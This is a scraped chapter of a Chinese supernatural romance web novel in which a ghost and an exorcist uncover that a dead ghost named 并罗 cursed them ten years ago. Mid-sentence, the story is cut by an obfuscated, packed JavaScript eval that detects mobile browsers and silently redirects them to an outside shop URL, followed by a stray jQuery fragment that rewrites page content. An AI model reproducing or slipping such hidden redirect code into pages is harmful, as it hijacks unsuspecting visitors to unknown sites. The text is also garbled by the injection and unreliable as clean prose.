文趣网 > 其他小说 > 鬼怪先生与我 > 16. 并罗
    屋内一片寂静,窗外鸟啼声不止,晨曦照射入屋,斑驳的图案映在地板。

    闻舞坐在床边,纱帘半掩着,阻挡了耀眼的光芒,在她侧面留下一片阴霾。

    暗沉沉的帘影让她的眼神更加有神。

    而魑觉完全暴露在阳光下,他四周散发出无形的金光,与他全身一片黑格格不入。

    许是这阳光太过刺眼,他主动将窗锁上,刹那间,屋内暗了一个度。

    “……那你现在为何如此弱?”魑觉问。

    闻舞想了想,道:"年轻时心比天高,想振兴师门名誉,一有空闲就会接委托,次数愈发频繁后,身体逐渐出现了问题,最后果不其然垮掉了。"

    “就这样?”

    “……嗯。”

    “有多厉害?”

    “啊?”闻舞一脸错愕。

    魑觉随意坐在她对面的板凳上,撑起下巴,懒洋洋继续问道:“师门第一有多强?”

    闻舞之前没想过宣扬,自然没思考过怎么介绍自己。

    至少没遇到打得过她的鬼?

    这样说会不会显得自大……

    “嗯……”

    她无比纠结,在所有夸赞别人能力出众的词中,似乎找不到适合她的词。

    闻舞干脆换个答法:“正如鬼怪先生般,您是战场上出类拔萃的勇士,是器宇不凡的将军!”

    “……?”

    “您法力无边,震慑鬼界,要是十年前的我与您交手,肯定坚持不了一刻钟。”

    “十年前……”魑觉若有所思,淡淡道:“换做十年前,若不是那只恶灵夺走了我的眼睛,我可能会更早找到你。”

    话题逐渐跑偏,但闻舞略松了一口气,终于不是聊起她的曾经,不知为何,她有种强烈的抵抗,抵触谈及她以前的经历。

    闻舞好奇问道:“您现在是独眼?”

    魑觉瞥了她一眼,满不在意道:“我天生就只有一只眼睛,被夺走后可以说是完全看不见,只是后来自己长出来了。”

    “说起来,我的眼睛可和你的阴阳眼有同等能力呢。”

    闻舞来了兴致:“也能看见鬼吗?”

    “哈,我本来就能看见,有没有它对我来说微乎其微,不过呢,说不定那只眼睛能让我更快排除人类,精准捕捉到你。”

    “原来如此……”

    闻舞安静了一会儿,又问起来:“不过您腰间的骷髅鬼铃……怎么一会儿有一会儿没有?”

    魑觉嘴唇抿成一条直线,语气冷了下来:“别好奇我,去好奇别人。”

    看见这双冰冷的眼神,闻舞缩了缩脑袋,她知道不能再问下去,便随意找了个话题:“老先生呢?”

    “不清楚。”

    “鬼怪先生待会要去哪?”

    “冥界。”

    “……那我去找老先生。”

    魑觉眼皮跳了下,恶狠狠低吼道:“找他作甚?”

    闻舞被他突如其来的怒吼吓到,她直言道:“托先生的福我得以在台上表演,虽然结果尚未知晓,但总得问候早安吧?”

    “没那必要。”

    “我不会随意走动的,我很惜命。”

    “哈啊,我是没和你讲清楚所以你才抱有希望是吧?总之鹿仝那个人,不要过多接触。”

    闻舞眨了眨眼,“为何?”

    魑觉的手搭在太阳穴处,漫不经心地敲了几下,道:“看似路过雾禾,实则是故意为之。”

    “在找你之前,我还有个任务是追查冥黄来源,误打误撞在华城发现大量冥黄,在长甲鬼袭击你那次,我追踪它身上的气息,确定是华城往南的方向。”

    “而气息最为浓烈之处,便是雾禾小镇。”

    “在苍岭旅馆戏院那日,他盯着我看很久,在我忍无可忍想施法让他暂时失明时,嗤,竟无效了。”

    “所以……”闻舞思考须臾,道:“您的意思是……老先生是雾禾小镇的村民,为了镇邪,做局将我们引来此处吗?”

    魑觉懒懒的点头。

    “而你竟真的应下他的请求,啊啊,这不得不让我转变方式,只能暂时不动他,那个鹿仝……只是个会在府君身边说些花言巧语的不人不鬼马屁精。”

    “嗯嗯……”

    虽然魑觉这么贬低鹿仝,闻舞却没有立刻改变想法,只是一味地点头。

    魑觉似乎也意识到她的敷衍,便又强调了一下:“所以,不要私下找他,那人不知道又会说些什么蛊惑人心的话让你动摇。”

    这次闻舞不再选择沉默,道:“抛开这个不谈,鬼怪先生,我觉得您刚才说的话有个漏洞……”

    “漏洞??”

    “若老先生的行为真如鬼怪先生所言,一切皆是为了引我们来此处,那么……前提条件是如何确定的呢?这一切,都必须是鬼怪先生带我出府才能成立的。”

    闻舞的话瞬间让魑觉如梦初醒。

    对,他似乎忘记某个至关重要的条件。

    鹿仝所有的行为都基于魑觉将闻舞带出府,而在苍岭旅馆时他对魑觉两人出现并不惊讶,也就是说……

    鹿仝确定闻舞一定会出府。

    闻舞无意瞧见桌上的糕点,犹豫了会,伸手拿一块放嘴里,“所以,鬼怪先生会不会遗漏什么信息了呢?”

    “……”

    魑觉第一次回答不上来,这完全超出他预料,他烦躁地揉了揉眉心,“毫无厘头,连我自己都说不上来为何带你走,怜悯不可能,照顾谈不上,那么就只剩下……”

    “咒。”

    两人同一时间说出。

    魑觉笑了笑:“真稀奇啊,还有人能对我下咒。”

    “如果是与符咒有关,我或许能帮上。”

    闻舞喝了口茶,拉开面前的柜子,拿出里面的白纸与毛笔,她停了会,尴尬地看向魑觉。

    “?又怎?”

    “鬼怪先生为我磨墨吧,没有现成的墨水,写符需要。”

    他似乎有些不情愿:“你真能做到?”

    “鬼怪先生也能,但我更擅长。”

    “……”

    “哈。”魑觉伸出手,“东西给我。”

    闻舞这次秒懂了意思,她迅速从柜子里搬出砚台及墨锭,放在他手心。

    魑觉哼地一声离开,拉开对面的椅子坐下,开始磨墨。

    前期,魑觉一边磨一边盯着女人,闻舞这次没看懂那眼中的含义,但她也不想多问。

    后期,两人心照不宣不打扰对方,专注于手下的动作。

    很快,白纸上写满了一堆复杂难懂的图案,闻舞每写完一张,就反转了方向递给魑觉,好让他看清。

    “鬼怪先生对这个符咒熟悉吗?”

    “没见过。”

    “这个呢。”

    “也没有。”

    “这几个也没有吗?”

    魑觉闭上眼睛,“毫无印象。”

    “真奇怪,”闻舞开始思考其他图案,“能束缚他人行为的咒应当会涉及这几个画法,受咒人也会有记忆,怎么会偏离所有呢……”

    魑觉神情慵懒,声音平淡:“你这些符也只是依附在平常的纸张上,一点法力都没有,为何要画在上面?”

    闻舞没抬眼,专注书写:“先找出是哪类符咒,回府后我自有方法让它发挥作用。”

    “回府?”

    魑觉精准地捕捉到这一字眼。

    闻舞浑身一惊,惶惶抬眸。

    魑觉眯起眼睛,“你还要回去?”

    “当然……”

    “鬼怪先生如果是被鬼下咒,那么就需要用驱鬼术下咒反噬。”

    “我厢房留有一个符,我需要利用那个破除母亲对我下的禁身咒,想要发挥驱鬼术的作用需要借助傀儡师的能力。”

    魑觉听得云里雾里,但有一点他无比清楚,“你,不能回去。”

    “可是那您身上的……”

    “无妨,我突然记起,有一个家伙能回答这个情况。”

    闻舞正要问是谁,只见魑觉抬手在空中划了几个字,气息倏地定住,然后突然在周围飞快散开。

    闻舞及时抬起衣袖挡住,强行撑开眼皮观摩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554848|203575||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼前。

    空气中被撕开了一道口子,一个高大魁梧的黑东西从里头走了出来。

    闻舞狐疑,那是人是鬼?

    此人身形与魑觉相差无几,头顶长帽,手中持长勾刀。

    这么明显的风格让闻舞一下子猜出那人身份。

    “您是……无常大人?”

    黑无常睡眼惺忪,轻轻嗯了声,而看向魑觉后,脸忽地变黑。

    “没礼貌的家伙。”黑无常最终只憋出这句。

    魑觉耸了耸肩,不以为然道:“冥黄进度不是传给你了?既然烦心事少了一件,就帮我查个事。”

    “……”

    黑无常颇为无奈:“讲。”

    “有人疑似对我下咒,你接触的鬼多,探一下。”

    “……有人对你下咒?你?人类?”

    黑无常再三询问,“这种玩笑你已经无聊到与我谈论了?”

    “谁要与你开玩笑,要是被我抓到,就送你玩玩。”

    魑觉讥讽笑道。

    “……”

    “虽然我很不理解你为何要找那个人,至少不会出现对你造成威胁的存在,不过这不是难事。”

    黑无常凝出黑气,气中红蓝光相间闪烁不止,刹那,它冲进魑觉的身上。

    巨大的牵引力将闻舞往魑觉方向吸引,黑无常及时让她定在原地,随后加重了魑觉体内的法力。

    他像是探出了什么,有一瞬间面露诧异,嘀咕道:“怎么弱了……”

    “什么?”魑觉盯着他,“探出什么了?”

    黑无常摆了摆头,“许是错觉。”

    那黑团在魑觉全身游走,最终停在心脏处。

    魑觉对这个位置长期停留感到奇怪,他看向黑无常,笑容顿时僵住。

    这是黑无常为数不多严肃的模样。

    以往就算再艰难的任务,魑觉也只见过他冷冰冰道出自己解决方式,很难见到这幅无从下手的样子。

    魑觉冷笑一声:“怎么,难不成是死咒?”

    “……”

    “你……怎会被这个东西缠上……”黑无常头一次讲话停顿。

    闻舞担忧上前,“鬼怪先生怎么了?”

    黑无常看了一眼闻舞,二话不说又凝出一个黑团,注入闻舞体内。

    速度快到魑觉来不及阻止。

    他声音差点破声:“喂!”

    闻舞身体对这突如其来的异物感感到一阵恶心,可她完全动弹不了,那东西死死压住她所有神经。

    黑无常无比冷静。

    探鬼气需输入足够阴气,若是鬼下的咒也同理,但凡体无法承受阴差的气息。

    闻舞难受地咳出声,可黑无常丝毫没有要停下的意思。

    “哈啊,疯子。”

    魑觉施法打断黑无常,巨大的冲击消失后闻舞往后踉跄了下,幸亏魑觉接住了她。

    “你怕不是忘记她是吉祥天了?”

    黑无常甩了甩被法力灼烧的手,过了会儿后自然恢复,“没忘,在试探。”

    “试出什么了?”

    “啧。”

    黑无常腾空展出一道白纸,魑觉定眼一看,确认是鬼账。

    鬼账,凡已魂飞魄散的鬼都会记录于此。

    魑觉笑道:“你想表明我即将魂飞魄散么?”

    “哪有这么好的事,魑觉,冷静听我说完。”

    “你,还有吉祥天,你们两个,被一位名为并罗的死鬼下了咒。”

    “可这只鬼早在十年前就已魂飞魄散,所以你们是在十年前受害的。”

    “并罗在十年前突然变异,获得了能夺取他人的魂魄及记忆的能力。”

    黑无常停顿,看向魑觉,一字一句道:“魑觉,你被夺走了魂。”

    他又看向闻舞,道:“闻舞小姐,您记忆出现了破碎。”

    “你们身上停留的气息皆表明,那鬼曾附在你们,而粗略计算气息浮动,那个时间点极有可能出现在……”

    黑无常抬眸,眼神冰冷。

    “十年前,并罗变异那日。”